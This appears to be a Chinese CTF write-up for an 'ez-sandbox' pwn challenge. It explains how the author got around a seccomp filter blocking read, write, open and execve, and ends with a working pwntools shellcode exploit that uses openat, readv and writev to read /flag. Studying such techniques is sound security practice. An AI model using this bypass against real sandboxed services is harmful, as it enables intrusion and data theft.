CTF-PWN: 在ORW受限情况手写code [第二届CN-fnst::CTF ez-sandbox] 赛后学习笔记

step1 先看代码

c 复制代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  buf = mmap(0LL, 0x100uLL, 7, 34, -1, 0LL);
  if ( buf == (void *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  puts("input shellcode: ");
  read(0, buf, 0xC8uLL);
  setup_seccomp();
  ((void (*)(void))buf)();
  if ( munmap(buf, 0x100uLL) == -1 )
    perror("munmap failed");
  return 0;
}

再看保护

 ~/Desktop/pwn/file/file                                           at 02:43:43 
❯ seccomp-tools dump ./pwn
input shellcode: 
sss
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

ORW全禁

利用

O


openat 是一个在 C 语言中用于打开文件的系统调用,它是 POSIX 标准的一部分。openat 提供了一种相对路径的方式来打开文件,尤其是在处理目录文件描述符时非常有用。这使得在多线程或多进程环境中可以避免一些常见的安全问题,比如路径遍历攻击。

函数原型

c 复制代码
#include <fcntl.h>

int openat(int dirfd, const char *pathname, int flags, ...);

参数说明

  • dirfd: 这是一个文件描述符,代表一个打开的目录。如果 pathname 是一个相对路径,openat 将在 dirfd 指向的目录中查找该路径。如果 pathname 是绝对路径,则 dirfd 将被忽略。

  • pathname: 这是要打开的文件的路径,可以是相对路径或绝对路径。

  • flags: 用于指定打开文件的方式,比如读、写、创建等。常用的标志包括:

    • O_RDONLY: 只读打开。
    • O_WRONLY: 只写打开。
    • O_RDWR: 读写打开。
    • O_CREAT: 如果文件不存在则创建它。
    • O_EXCL: 与 O_CREAT 一起使用,确保文件是新创建的。
    • O_TRUNC: 如果文件已存在并且是以写入模式打开,则将其截断为零长度。
  • ...: 可选参数,用于指定文件的权限,仅在使用 O_CREAT 标志时需要提供,通常是一个 mode_t 类型的值,用于设置新创建文件的权限。

返回值

  • 成功时,返回新打开文件的文件描述符(非负整数)。
  • 失败时,返回 -1,并设置 errno 以指示错误原因。

R


readv 是一个用于从文件描述符中读取数据的系统调用,属于 POSIX 标准。它允许一次读取多个缓冲区的内容,提供了一种高效的方式来处理 I/O 操作,特别是在需要从文件中读取分散的数据时。

函数原型

c 复制代码
#include <sys/uio.h>
#include <unistd.h>

ssize_t readv(int fd, const struct iovec *iov, int iovcnt);

参数说明

  • fd: 要读取的文件描述符。这个文件描述符可以是一个常规文件、socket、管道等。

  • iov: 指向 iovec 结构体数组的指针。iovec 结构体定义了一个缓冲区,其中包含要读取数据的地址和大小。

  • iovcnt: 表示 iovec 数组中的元素数量,也就是有多少个缓冲区。

iovec 结构体

iovec 结构体通常定义如下:

c 复制代码
struct iovec {
    void  *iov_base; // 指向缓冲区的指针
    size_t iov_len;  // 缓冲区的大小
};

每个 iovec 结构体描述一个缓冲区,iov_base 指向缓冲区的起始地址,iov_len 是缓冲区的大小。

返回值

  • 成功时,返回实际读取的字节数(可能小于请求的总字节数),如果返回 0,则表示已到达文件末尾(EOF)。
  • 失败时,返回 -1,并设置 errno 以指示错误原因。

使用示例

下面是一个使用 readv 的简单示例,演示如何从文件中读取数据到多个缓冲区:

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>

int main() {
    int fd = open("example.txt", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // 定义两个缓冲区
    char buf1[20];
    char buf2[30];

    // 定义 iovec 结构体数组
    struct iovec iov[2];
    iov[0].iov_base = buf1;
    iov[0].iov_len = sizeof(buf1);
    iov[1].iov_base = buf2;
    iov[1].iov_len = sizeof(buf2);

    // 使用 readv 读取数据
    ssize_t nread = readv(fd, iov, 2);
    if (nread < 0) {
        perror("readv");
        close(fd);
        return 1;
    }

    printf("Read %zd bytes:\n", nread);
    printf("Buffer 1: %.*s\n", (int)iov[0].iov_len, (char *)iov[0].iov_base);
    printf("Buffer 2: %.*s\n", (int)iov[1].iov_len, (char *)iov[1].iov_base);

    close(fd);
    return 0;
}

应用场景

  • 高效 I/O : 使用 readv 可以减少系统调用的次数,特别在需要从同一个文件描述符读取多个缓冲区时,可以一次性完成,而不需要多次调用 read
  • 网络编程 : 在网络编程中,发送和接收数据时常常需要处理多个缓冲区,readv 和其对应的 writev 可以提高效率。
  • 数据聚集 : 当需要从不同的源读取数据并将其聚集到多个缓冲区时,readv 提供了方便的接口。

W


writev 是一个用于将数据写入文件描述符的系统调用,属于 POSIX 标准。与 readv 类似,writev 允许一次将多个缓冲区的数据写入到同一个文件描述符中,这种方法在需要高效处理多个数据块时非常有用。

函数原型

c 复制代码
#include <sys/uio.h>
#include <unistd.h>

ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

参数说明

  • fd: 要写入的文件描述符。这个文件描述符可以是文件、socket、管道等。

  • iov : 指向 iovec 结构体数组的指针。每个 iovec 结构体描述一个缓冲区,其中包含要写入数据的地址和大小。

  • iovcnt : 表示 iovec 数组中的元素数量,也就是有多少个缓冲区。

iovec 结构体

iovec 结构体通常定义如下:

c 复制代码
struct iovec {
    void  *iov_base; // 指向缓冲区的指针
    size_t iov_len;  // 缓冲区的大小
};

每个 iovec 结构体包括一个指向缓冲区的指针和该缓冲区的字节长度。

返回值

  • 成功时,返回实际写入的字节数(可能小于请求的总字节数)。
  • 失败时,返回 -1,并设置 errno 以指示错误原因。

使用示例

下面是一个使用 writev 的简单示例,演示如何将数据从多个缓冲区写入文件:

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>

int main() {
    int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // 定义两个缓冲区
    const char *buf1 = "Hello, ";
    const char *buf2 = "world!\n";

    // 定义 iovec 结构体数组
    struct iovec iov[2];
    iov[0].iov_base = (void *)buf1;
    iov[0].iov_len = strlen(buf1);
    iov[1].iov_base = (void *)buf2;
    iov[1].iov_len = strlen(buf2);

    // 使用 writev 写入数据
    ssize_t nwritten = writev(fd, iov, 2);
    if (nwritten < 0) {
        perror("writev");
        close(fd);
        return 1;
    }

    printf("Wrote %zd bytes to the file.\n", nwritten);

    close(fd);
    return 0;
}

应用场景

  • 高效 I/O : 使用 writev 可以减少系统调用的次数,特别是在需要将多个缓冲区的数据写入同一个文件描述符时,可以一次性完成,而不需要多次调用 write
  • 网络编程 : 在网络编程中,发送和接收数据时常常需要处理多个缓冲区,writev 和其对应的 readv 可以提高效率。
  • 日志和数据聚集: 将多个日志消息或数据块聚集到一个写操作中,可以减少上下文切换和系统调用开销。

step 4

python 复制代码
from pwn import *  
from libs import *  
  
io = FastPwn('amd64')  
io.gdb_b(0xb96)  
io.gdb_run('./file/pwn')  
  
# o  
shellcode = shellcraft.pushstr('/flag')  
# fd = openat(-100, '/flag', 0, 0)  
shellcode += """  
mov rdi, -100  
mov rsi, rsp  
mov rdx, 0  
mov r10, 0  
mov r8, 0  
mov rax, 0x101  
syscall  
"""  
  
# R  
# 先伪装结构体  
# readv(fd, fake_iovec, 1)  
"""  
struct iovec {  
    void  *iov_base; // 指向缓冲区的指针  
    size_t iov_len;  // 缓冲区的大小  
};  
"""  
  
shellcode += """  
mov r9, rsp  
add r9, 100  
mov qword ptr [rsp], r9  
mov qword ptr [rsp+8], 100  
"""  
  
shellcode += """  
mov rdi, rax  
mov rsi, rsp  
mov rdx, 1  
mov rax, 19  
syscall  
"""  
  
# W  
# si依然指向fd,仅需更改输出寄存器为标准输出
# writev(fd, fake_iovec, 1)  
shellcode += """  
mov edi, 1  
mov rax, 20  
syscall  
"""  
  
shellcode = asm(shellcode)  
  
io.sl(shellcode)  
io.ia()
相关推荐
Koi慢热1 小时前
黑客术语(1)
运维·服务器·网络·测试工具·网络安全
文章永久免费只为良心5 小时前
使用Python脚本进行编写批量根据源IP进行查询的语句用于态势感知攻击行为的搜索
运维·经验分享·网络安全·漏洞挖掘
安全系统学习5 小时前
网络安全(黑客)的岗位职责
网络·计算机网络·安全·web安全·网络安全
Coding~7 小时前
CTFshow-php特性(Web125-150)
开发语言·安全·web安全·网络安全·php
Koi慢热7 小时前
网络安全渗透有什么常见的漏洞吗?
网络·网络协议·测试工具·安全·网络安全
AirDroid_qs8 小时前
Upload-labs 靶场(通关攻略)
数据库·网络安全
Autumn.h9 小时前
upload-labs靶场通过攻略
网络安全